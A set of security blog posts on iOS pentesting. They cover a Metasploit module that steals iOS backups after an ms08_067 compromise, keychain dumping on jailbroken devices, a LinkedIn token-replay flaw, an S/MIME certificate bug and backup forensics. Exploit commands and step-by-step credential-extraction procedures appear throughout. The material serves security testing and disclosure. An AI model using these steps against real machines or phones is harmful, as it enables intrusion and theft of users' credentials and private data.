Metasploit contains a post exploitation module using which we can steal the Apple iOS backup files from a victim’s computer. However the existing module was designed for iOS 4 backups and does not support the latest iOS 5 backups. I have updated the scripts to make it work with iOS 5 backups.
Running the existing apple_ios_backup post exploitation module in the Metasploit (v4.4.0) against an iOS 5 backup ends up with the below exception.
meterpreter> run post/multi/gather/apple_ios_backup
[*] Checking for backups in C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup
[*] Found C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3
[*] Checking for backups in C:\Documents and Settings\SATISH-E6338BC0\Application Data\Apple Computer\MobileSync\Backup
[*] Pulling data from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[*] Reading Manifest.mbdb from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[*] Reading Manifest.mbdx from C:\Documents and Settings\Administrator\Application Data\Apple Computer\MobileSync\Backup\b716de79051ef093a98fc3ff1c46ca5e36faabc3...
[-] Post failed: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.
[-] Call stack:
[-] /opt/metasploit/msf3/lib/rex/post/meterpreter/channel.rb:116:in `create'
[-] /opt/metasploit/msf3/lib/rex/post/meterpreter/channels/pools/file.rb:35:in `open'
[-] /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:325:in `_open'
[-] /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb:276:in `initialize'
Below details outline the usage of updated Metasploit – Apple iOS Backup File Extraction module. I have used Metasploit 4.4 from Backtrack 5R1.
Apple iOS Backup File Extraction module is a post exploitation module. Metasploit says “The post-exploitation modules (post for short) are designed to run on systems that were compromised through another vector, whether its social engineering, a guessed password, or an unpatched vulnerability”. So in order to use the iOS backup module, first we have to compromise the system using some other vector.
Usage Steps: 1. Download the apple_ios_backup.rb and place it in /opt/metasploit/msf3/modules/post/multi/gather/ directory. 2. Download the apple_backup_manifestdb.rb and place it in /opt/metasploit/msf3/lib/rex/parser/ directory. 3. Open the Metasploit using msfconsole. 4.Use meterpreter as a payload and exploit a vulnerability in the target system.
In my case, the victim machine is running with the Windows XP OS (192.168.209.128) which is vulnerable to ms08_067_netapi vulnerability. Following the below steps exploits the vulnerability and opens a meterpreter shell.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.209.128
RHOST => 192.168.209.128
msf exploit(ms08_067_netapi) > exploit
5. Once the meterpreter session is established, iOS backup on the victim machine can be dumped using the following command- > run post/multi/gather/apple_ios_backup
The above script searches for the iOS backup files in the default iTunes backup locations. If it does not find any backup in the target system, it will displays ‘ No users found with an iTunes backup directory’ message. If it finds the backup it dumps all the files and stores them as db files in the ~/.msf4/loot/ directory.
Though Apple iOS backup extraction module dumps all the files from the victim’s backup, the level of data revealed to the attacker depends on the type of the iOS backup. If the victim machine contains an encrypted backup, the information that we get from stealing the backup files is almost nothing. Because all the files in the encrypted backup are encrypted with the user supplied iTunes password. If the victim machine contains a normal backup, we can read the sensitive data stored in all files except the Keychain database. In case of normal backups, the keychain is encrypted with a hardware key which is embedded in the iPhone.
The post module can steal the iOS backups from Windows and Mac OS X machines. I have tested it for Windows. It should definitely work for OS X as well.
iOS backup is a treasure for pentesters. Happy hacking
Video:
[Update -October 11, 2012]: The module also works for iOS 6 backups.
In the first part of this article, we have discussed about the iPhone application traffic analysis. Second part of the article covered the privacy issues and property list data storage. In this part, we will take a look at in-depth analysis of the keychain data storage. Apple has designed the keychain with many security measures in place to protect the user’s data, however it is broken at every level. So complete understanding to the keychain and its security & weaknesses will help penetration testers to provide proper remediation suggestions during iOS application security assessments.
Keychain storage:
Keychain is an encrypted container (128 bit AES algorithm) and a centralized Sqlite database that holds identities & passwords for multiple applications and network services, with restricted access rights. On the iPhone, keychain Sqlite database is used to store the small amounts of sensitive data like usernames, passwords, encryption keys, certificates and private keys. In general, iOS applications store the user’s credentials in the keychain to provide transparent authentication and to not to prompt the user every time for login. iOS applications use the keychain service library/API (secItemAdd, secItemDelete, secItemCopyMatching & secItemUpdate methods) to read and write data to and from the keychain. Developers leverage the keychain services API to dictate the operating system to store sensitive data securely on their behalf, instead of storing them in a property list file or a plain text configuration file. On the iPhone, keychain Sqlite database file is located at – /private/var/Keychains/keychain-2.db.
Keychain contains a number of keychain items and each keychain item will have encrypted data and a set of unencrypted attributes that describes it. Attributes associated with a keychain item depends on the keychain item class (kSecClass). In iOS, keychain items are classified into 5 classes – generic passwords (kSecClassGenericPassword), internet passwords (kSecClassInternetPassword), certificates (kSecClassCertificate), keys (kSecClassKey) and digital identities (kSecClassIdentity, identity=certificate + key) . In iOS keychain, all the keychain items are stored in 4 tables – genp, inet, cert and keys . Genp table contains generic password keychain items, inet table contains internet password keychain items, and cert & keys tables contain certificates, keys and digital identity keychain items.
Keychain Tables
Keychain database is encrypted with a hardware specific key which is unique per the device. Hardware key cannot be extracted from the device, so the data stored in the keychain can only be accessible on the device itself and cannot be moved to another device. Keychain database is tied to the device, so even if an attacker obtains access to the keychain through a physical access to the file system or in a remote attack, he cannot decrypt and view the file contents.
Keychain File Format
Keychain data is logically zoned and data stored by one application is not accessible to another application. Keychain data of an iOS application is stored outside the application’s sandbox. So operating system process securityd enforces the access control and regulates access to the keychain data in such a way that the applications with correct permissions can read their data. Keychain access permissions of an iOS application are defined in the code sign entitlements. Keychain Services uses these entitlements to grant permissions for the applications to access its own keychain items. Entitlements of an application define the properties that provide access to the iOS features such as push notifications, keychain access and iCloud communication, etc… Entitlements grant specific capabilities or security permissions to iOS applications. An entitlement file for a keychain data sharing application contains an application-identifier and may contain a set of keychain-access-groups constants. In iOS, each application ships with a unique application-identifier. The keychain service restricts the keychain data access based on this application identifier. By default, applications can only access data associated with their own application-identifier. Later, to share the keychain items with multiple applications, keychain-access-groups wereintroduced. Applications with the same keychain access group entitlement can access/share the keychain items. Entitlements of an application are embedded in the application binary and stored unencrypted. So, on a JailBroken iPhone, entitlements of an application can be extracted from the application binary using grep or sed commands (stream editor – sed can be downloaded from Cydia packages).
To list out the entitlements of an iOS application, connect to the iPhone over SSH, navigate to the application’s home directory (/var/mobile/Applications/[unique-id]/) and run the below command.
sed -n '/<dict>/,/<\/dict>/p' [AppDirectory]/[ApplicationBinary]
Example: Below command list out the entitlements of Facebook iOS application.
* Facebook iOS application is a fat binary (built for ARM6 & ARM7 architectures), so the above command will print the entitlement details twice.
The above result indicates that the Facebook iOS application uses ‘T84QZS65DQ.platformFamily’ keychain-access-group while storing the entries in the keychain.
When an application adds an entry to the keychain, application identifier or keychain access group of the application also gets added to the keychain item agrp (access group)column. Later, when an application tries to access the keychain item, keychain service verifies the application identifier or keychain access group against the agrp value of corresponding keychain item to permit the access. Sample keychain-2.db file is shown in the Figure 3 and Facebook entitlements are highlighted.
Facebook keychain entries
*The above screen shot is captured by copying the keychain-2.db file from a JailBroken iPhone to a windows machine and opening it with a Sqlite browser.
Note: Applications that are built for the simulator uses the same default keychain access group. So on the simulator, all the applications can access all the keychain items.
With the introduction of data protection mechanism in iOS, sensitive data stored in the keychain item is protected with another layer of encryption which is tied to the user’s passcode. Data protection encryption keys (protection class keys) are derived from a device hardware key and a key generated from the user’s passcode. So encryption offered by data protection API is as good as the strength of a user’s passcode. Data protection is designed to protect the user’s data in case a device is lost or stolen. Data protection for the keychain items can be enabled by supplying an accessibility constant value to the kSecAttrAccessible attribute of SecItemAdd or SecItemUpdate methods. Data protection accessibility constants determine when a keychain item should be readable by an application. It also determines whether a keychain item is allowed to migrate to other devices or not. During an iTunes backup, all the data stored in the iOS device is backed up to the computer including the keychain database. On the iTunes backups, keychain Sqlite database is stored as a Plist file (Keychain-backup.plist). Keychain items which are backed-up with the iTunes encrypted backup option can be moved/loaded to another device. However the keychain items which are protected with ThisDeviceOnly constants cannot be moved to other iOS devices.
Below is the list of keychain item accessibility constants –
kSecAttrAccessibleWhenUnlocked
Keychain item is accessible only after the device is unlocked
Data protection class keys required to decrypt the keychain items are loaded into memory only when the device is unlocked and the encryption keys are automatically purged in 10 seconds once the device is locked.
kSecAttrAccessibleAfterFirstUnlock
Keychain item is accessible only after the first unlock of the device to till reboot
Data protection class keys required to decrypt the keychain items are loaded into memory only when the user unlocks the device after a reboot and the keys remain in the memory till next reboot of the device.
kSecAttrAccessibleAlways
Keychain item is accessible even the device is locked
Data protection class keys required to decrypt the keychain items are always loaded into memory.
kSecAttrAccessibleWhenUnlockedThisDeviceOnly
Keychain item is accessible only after the device is unlocked and the item cannot be migrated between devices.
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
Keychain item is accessible after the first unlock of the device and the item cannot be migrated between devices.
kSecAttrAccessibleAlwaysThisDeviceOnly
Keychain item is accessible even the device is locked and the item cannot be migrated between devices.
Data protection accessibility constants of a keychain item are mapped to pdmn (protection domain) column in the keychain tables – genp, inet… Mapping to the keychain data protection accessibility constants and pdmn values are shown in below table.
Sample keychain-2.db file is shown in the Figure 4 and pdmn column is highlighted.
*The above screen shot is captured by copying the keychain-2.db file from a JailBroken iPhone to an OS X machine and opening it with a Sqlite browser.
Third party applications usually store the plain text credentials in the keychain to not to prompt the user every time for login and to preserve the data across re-installation or up-gradation of the application. So while penetration testing, we have to look at the keychain items to see what kind of information is being stored by the applications in the keychain. But the keychain service does not allow viewing the keychain items of any application without proper entitlements. On a JailBroken device this restriction can be broken and it is possible to dump all the keychain items by signing an application with one of the below entitlements file.
An entitlements file which has all the keychain access groups - Fetch all the keychain access groups from the keychain by running a SQL query: select agrp from genp and place them in the entitlements file.
An entitlements file with wild card ‘*’ keychain access group
An entitlements file with com.apple.keystore.access-keychain-keys keychain access group
Link identity editor – ldid (Cydia Package) can be used to the sign the application with the entitlement file: ldid –Sentitlements.xml [app-name]
Patrick Toomey has developed a keychain_dumper tool that can be used to dump all the keychain items on a JailBroken iOS device. Recent version of the keychain_dumper uses the wildcard ‘*’ keychain access group entitlement to access all the keychain items. Steps listed below explain the usage of keychain dumper tool on the iPhone.
keychain dumper usage:
1. Jailbreak the iPhone. 2. Install openssh from Cydia. 3. On Mac OS X, download keychain_dumper and cyberduck tools. 4. Connect the iPhone and the computer to the same WI-FI network. 5. On Mac OS X, run Cyberduck and connect to the iPhone by typing the iPhone IP address, username as root and password as alpine.
6. Copy keychain_dumper executable to the iPhone root directory.
7. Run terminal and connect to the iPhone over SSH by typing the iPhone IP address, username as root and password as alpine. 8. On SSH terminal, type chmod 777 keychain_dumper and ./keychain_dumper commands. It will execute the keychain_dumper tool and displays all the keychain items from genp & inet tables.
iPhone keychain dumper
9. ./keychain_dumper –c command dumps the keychain items from cert & keys tables.
Note:keychain-dump & keychain viewer tools can also be used to dump all the keychain items. The tools are developed by Jean Sigwald and they use the com.apple.keystore.access-keychain-keyskeychain group entitlement to dump all the keychain items.
Third party applications also set data protection accessibility constants while adding the keychain items to make it available only after unlock. Data protection is designed to protect the data at rest by adding another layer of encryption. Data protection is tied to the user passcode and it secures the data only when a user sets a passcode as illustrated in the Figure.
Upon obtaining physical access to the device which is not protected with a passcode, an attacker can read all the keychain items by JailBreaking the device and running tools like keychain dumper. So even if third party applications use data protection API, data at rest is not protected without a user’s passcode and leaves the security to the end user.
Even if a user sets a simple passcode for the device, an attacker can still read all the keychain items by brute forcing the user’s passcode. A simple 4 digit passcode can be brute forced in less than 20 minutes by booting the device with a custom ram disk. More details about the iPhone passcode brute forcing are documented at iPhone Forensics article. Data protection is useful only when a user sets a complex passcode (minimum of 6 alpha numeric characters in length).
Note: Boot Rom level vulnerability is required to boot the device with a custom ram disk. At the time of writing this article, Boot Rom level vulnerability was not identified in A5 chips which are used in the iPhone 4s & iPad 2. So currently it is not possible to perform a passcode brute force attack on the iPhone 4s and iPad 2.
Techniques explained above concludes that the keychain items are secure only if a user sets a complex passcode for the device and the keychain item is protected with an accessibility constant which makes it available only after unlock.
Bottom Line:
Though Apple has designed the iOS keychain with best security features in place, it is broken at every level. Techniques explained in the article demonstrate that, all the keychain items can be dumped upon gaining physical access to the device. It is also quite possible to design a remote application (targeting JailBroken devices) which can read all the keychain items and transmit the data to a remote server. In the recent versions of iOS (4 & 5), by default, the keychain items are stored using the kSecAttrAccessibleWhenUnlocked data protection accessibility constant. However the data protection is effective only with a device passcode, which implies that sensitive data stored in the keychain is secure only when a user sets a complex passcode for the device. But iOS applications cannot enforce the user to set a device passcode. So if iOS applications relies only on the Apple provided security they can be broken if iOS security is broken. iOS application security can be improved by understanding the shortcomings of the current implementation and writing an own implementation that works better. In case of the keychain, iOS application security can be improved by using the custom encryption (using built-in crypto API) along with the data protection API while adding the keychain entries. If custom encryption is implemented it is recommended to not to store the encryption key on the device.
Video:
Penetration Testing For iPhone Applications is going to be covered in a series of articles. In the Part 4, we will take a look at the files stored in the application home directory, caching issues and error log analysis.
LinkedIn iOS application stores the user’s authentication tokens (authToken) and session cookie values in a plist file com.Linkedin.LinkedIn.plist inside /Library/Preferences/ folder under application home directory. If someone obtains the plist file they can log into the LinkedIn application without supplying the username and the password as it contains the user’s authTokens and app cookies.
Storing the authTokens in the plist file is a bad design idea. The problem is well explained in scoopz blog. In addition to that, LinkedIn does not expire the authTokens even after a user logged out from the application. Upon logout, instead of removing the tokens & cookies from the server, it only removes the tokens stored in the client side plist file. So after logout if we copy the old plist file which had user authentication token, it will log you in.
It is possible to replace the plist file even on a non jailbroken iPhone.
Steps to verify: 1. Log into LinkedIn iPhone app. 2. Connect the iPhone to workstation over USB. Install iExplorer on workstation and open it. 3. With iExplorer navigate to LinkedIn application preferences directory and copy the com.linkedin.LinkedIn.plist file to local drive.
4. On iPhone, logout from the LinkedIn app.
5. Now if you open the app it will prompt you for the credentials. 6. From iExplorer, drag the copied com.LinkedIn.LinkedIn.plist file to LinkedIn preferences folder. 7. Now if we open the LinkedIn iPhone app, it will log you in.
Sequence of steps listed above shows that clicking on the sing out button does not terminate the user’s session on the LinkedIn server.
The iPhone also backups the LinkedIn plist file during iTunes backup. So if someone get access to the iTunes backups, it is very easy to get hold of the LinkedIn plist file with an authentication token which never gets expire.
I have reported the problem to LinkedIn a couple of months ago. I haven’t received any reply. I don’t like to be follow-up with them because they don’t have a bug bounty program. Anyhow it is a session expiration problem and I felt there is no harm in revealing this information in a blog post
Entitlements defines the specific capabilities or permissions of an applications.
On a Jailbroken iPhone, entitlements of an iOS application can be extracted with ldid tool. On recent iOS versions ldid was broken and not working properly against appstore binaries. Entitlements are usually embedded in the binary file. So we can use grep or sed commands to extract the entitlements from app binary.
Below command lists out the entitlements of Twitter application.
This article discloses a potential security bug in the X.509 certificate management in iOS 5. The bottom line is the following. An imported X.509 certificate stays forever in the iOS keychain and is used for S/MIME encryption by the Mail client. In other words, even after the manual deletion of the certificate via the system preferences, iOS keeps using it and there is nothing the user can do about it.
Here are the steps which illustrate this behavior. This is actually a normal use case of an e-mail encryption scenario. No need for special manipulation to reproduce the bug.
Step one: Configure Mail to use S/MIME for encryption (not described here) and start composing an e-mail to a recipient whose certificate is not yet imported. The external recipient will be in the rest of this article my personal gmail address xxxx@gmail.com. At this point, Mail reports correctly that the S/MIME encryption is not possible.
Step two: I import the recipient’s certificate (simply open a link which points to a certificate in the iPhone’s Safari or let it email yourself as attachment).
After clicking on “install”, you have to confirm the “Install Profile” dialog.
Step three: Open the Mail app again and start composing to the same recipient. This time, again as expected, the Mail App finds the certificate that we’ve just imported and uses it for S/MIME encryption.
At this point, we have our Mail client set up for a S/MIME encrypted communication with our recipient. So far so good, no bugs until here.
Step four: removing the certificate. There are many reasons why we want to do that such as - temporarily disable encryption to this recipient - the recipient revoked his certificate and it should not be used anymore! - we have initially imported a wrong certificate - …
To delete the profile, go to Settings >; General >; Profiles, chose the one you want to remove and confirm the deletion.
So now, one would think that the recipient’s certificate is gone from the system. It’s here where the troubles start.
If you open Mail and start composing an e-mail to the same recipient, you’ll notice that Mail still shows the blue lock indicating S/MIME encryption. Didn’t we just deleted it?
I initially thought that the Mail app was somehow intelligent and that it was looking into the received signed messages to eventually grab the certificate from there (a S/MIME signature contains the certificate of the signer).
I ended up deleting all signed messages but the blue lock was still there, even after removing and setting up again the entire e-mail account.
Apple’s lack of user documentation about S/MIME and the forums didn’t help either so I decided to go the low-level way: decrypt and dump the iOS Keychain.
After some quick Googleing, I ended up reading all the articles of this blog. They are all very interesting.
The one relevant for our case is the Keychain Dumper that I used to list the certificates contained in the keychain (option -c). Here follows the listings made during the different steps
Step one (before any certificate import), no trace of the recipient’s certificate (look for the e-mail address)
Here you can see that an e-mail certificate is imported to two different Entitlement Groups. Long story short, the “Entitlement Group” is basically an ID of the application which can access the keychain item. More info here or in the Apple’s recent iOS Security document (section Keychain Data Protection)
Here we can see that even after the removal via the System app, there is still one certificate keychain entry .. with the “com.apple.mobilemail.smime” entitlement group …
There is another way to double check it: list the SQLite keychain database with a SQL statement that basically counts all the certificate entries in the keychain.
Before any certificate import (Step one)
iPhone:~ root# sqlite3 /var/Keychains/keychain-2.db "select count(*) from cert;"
<strong>18 </strong>
18 is the total number of all certificates present on my iPhone before the import. Note that this number includes certificates used for other purposes than S/MIME.
After the certificate import (Step two):
iPhone:~ root# sqlite3 /var/Keychains/keychain-2.db "select count(*) from cert;"
<strong>20 </strong>
.. Here we go with two entries added: 20 certificates
Step four (after certificate removal):
iPhone:~ root# sqlite3 /var/Keychains/keychain-2.db "select count(*) from cert;"
19
19 … which confirms that only one of the two entries was deleted.
So iOS 5 does not delete the certificates as the user thinks. If I missed a hidden option somewhere or if there is a documentation which states that this behavior is wanted, please let me know and ignore this article. I’d be surprised though.
To conclude, the question to ask is how bad this is.
In my opinion, a good management of the PKI is a key to a strong security. Things are secure or they are not. There is no halfway. In this case, the Mail client ends up in a situation where it keeps using a certificate explicitly removed by the iOS user. If the recipient’s private key has been for example compromised you will end up exposing confidential information.
This problem was identified by Tex-Twil and I just helped him in providing the steps to confirm it.
Note: This article is written by Tex-Twil who is working as software engineer in the e-mail security branch. I am just publishing his work
First part of the article covered the techniques to read iTunes backups. Second part of the article disclosed the procedure to extract protection class keys from the Backup Keybag and covered the techniques & the tools to decrypt the protected backup files and the encrypted backups.
The videos listed in this article demonstrates the iOS 5 backup analysis techniques in a more detailed fashion.
Note: Demos are captured on Mac OS X Lion 10.6 running with iTunes 10.6. iPhone 4 GSM with iOS 5.0.1 is used in the video.
Forensic investigation on the backup files would allow examiners to gain access to the entire contents of its host phone until the point that the backup took place. It is also quite possible that the seized system might contain older copies of the backup files or other iPhone backups with a wealth of information.
To view the list of available backups on a system, open iTunes and navigate to Edit->Preferences (on windows) or iTunes->Preferences (on Mac) menu and choose Devices tab. It displays the list of backups as shown in the screenshot below.
iTunes also provides an option to delete the backup files. To delete an existing iPhone backup, in the Devices Preferences window (shown in the above screenshot) select a backup and click on Delete Backup… button. If a backup is deleted from a system, examiners can use data recovery or carving tools to recover the deleted files from the system hard disk. It is easy to recover the deleted files from the computer when compared with iPhone.
The iPhone stores a lot of user data in the backup files. The following table list out the common sources of potential evidence that can be analyzed in an investigation.
Along with the files listed in the above table, the iPhone backup also contains third party application files. Sensitive information stored in the third party application files may also provide possible evidence for the investigation.
Example: Facebook and LinkedIn iPhone applications store the authentication tokens and cookie values in plist files on the device. During backup, iTunes copies the plist files on the device to the backup folder. In such cases, analyzing the backup files gives access to the authentication tokens which in turn allows to log into the application without supplying the username and password. More details about Facebook plist hijacking are documented at – soopz blog
Forensic analysis of backups does not compromise the contents on a live device. So forensic examiners prefer analyzing the backups to collect the evidence though it is not possible to recover the deleted iPhone data.
